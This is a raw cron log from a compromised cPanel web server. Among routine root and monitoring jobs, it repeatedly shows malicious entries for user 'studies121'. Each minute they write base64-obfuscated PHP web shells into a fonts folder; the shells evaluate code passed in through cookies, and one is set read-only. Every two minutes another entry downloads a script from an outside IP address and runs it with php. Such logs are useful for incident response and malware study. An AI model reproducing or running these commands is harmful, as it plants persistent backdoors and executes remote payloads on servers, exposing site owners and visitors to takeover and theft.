Sep 10 06:21:01 ip-184-168-122-23 CROND[16614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:22:01 ip-184-168-122-23 CROND[16714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:22:01 ip-184-168-122-23 CROND[16718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:22:01 ip-184-168-122-23 CROND[16716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:22:01 ip-184-168-122-23 CROND[16717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:22:01 ip-184-168-122-23 CROND[16719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:23:01 ip-184-168-122-23 CROND[17133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:23:01 ip-184-168-122-23 CROND[17132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:23:01 ip-184-168-122-23 CROND[17134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:23:01 ip-184-168-122-23 CROND[17136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:24:01 ip-184-168-122-23 CROND[17265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:24:01 ip-184-168-122-23 CROND[17268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:24:01 ip-184-168-122-23 CROND[17266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:24:01 ip-184-168-122-23 CROND[17269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:24:01 ip-184-168-122-23 CROND[17270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:25:01 ip-184-168-122-23 CROND[17419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:25:02 ip-184-168-122-23 CROND[17421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:25:02 ip-184-168-122-23 CROND[17422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:25:02 ip-184-168-122-23 CROND[17426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:25:02 ip-184-168-122-23 CROND[17427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:25:02 ip-184-168-122-23 CROND[17424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:25:02 ip-184-168-122-23 CROND[17425]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 06:26:01 ip-184-168-122-23 CROND[17539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:26:01 ip-184-168-122-23 CROND[17540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:26:01 ip-184-168-122-23 CROND[17544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:26:01 ip-184-168-122-23 CROND[17546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:26:01 ip-184-168-122-23 CROND[17547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:27:01 ip-184-168-122-23 CROND[17688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:27:01 ip-184-168-122-23 CROND[17690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:27:01 ip-184-168-122-23 CROND[17689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:27:01 ip-184-168-122-23 CROND[17692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:28:01 ip-184-168-122-23 CROND[17898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:28:01 ip-184-168-122-23 CROND[17900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:28:01 ip-184-168-122-23 CROND[17902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:28:01 ip-184-168-122-23 CROND[17901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:28:01 ip-184-168-122-23 CROND[17903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:29:01 ip-184-168-122-23 CROND[18014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:29:01 ip-184-168-122-23 CROND[18017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:29:01 ip-184-168-122-23 CROND[18018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:29:01 ip-184-168-122-23 CROND[18022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:30:01 ip-184-168-122-23 CROND[18129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:30:01 ip-184-168-122-23 CROND[18130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:30:01 ip-184-168-122-23 CROND[18133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:30:01 ip-184-168-122-23 CROND[18136]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:30:01 ip-184-168-122-23 CROND[18137]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:30:01 ip-184-168-122-23 CROND[18135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:30:01 ip-184-168-122-23 CROND[18139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:30:01 ip-184-168-122-23 CROND[18138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:31:01 ip-184-168-122-23 CROND[18283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:31:01 ip-184-168-122-23 CROND[18284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:31:01 ip-184-168-122-23 CROND[18288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:31:01 ip-184-168-122-23 CROND[18289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:31:01 ip-184-168-122-23 CROND[18290]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 06:32:01 ip-184-168-122-23 CROND[18393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:32:01 ip-184-168-122-23 CROND[18395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:32:01 ip-184-168-122-23 CROND[18396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:32:01 ip-184-168-122-23 CROND[18397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:32:01 ip-184-168-122-23 CROND[18398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:33:01 ip-184-168-122-23 CROND[18485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:33:01 ip-184-168-122-23 CROND[18487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:33:01 ip-184-168-122-23 CROND[18486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:33:01 ip-184-168-122-23 CROND[18488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
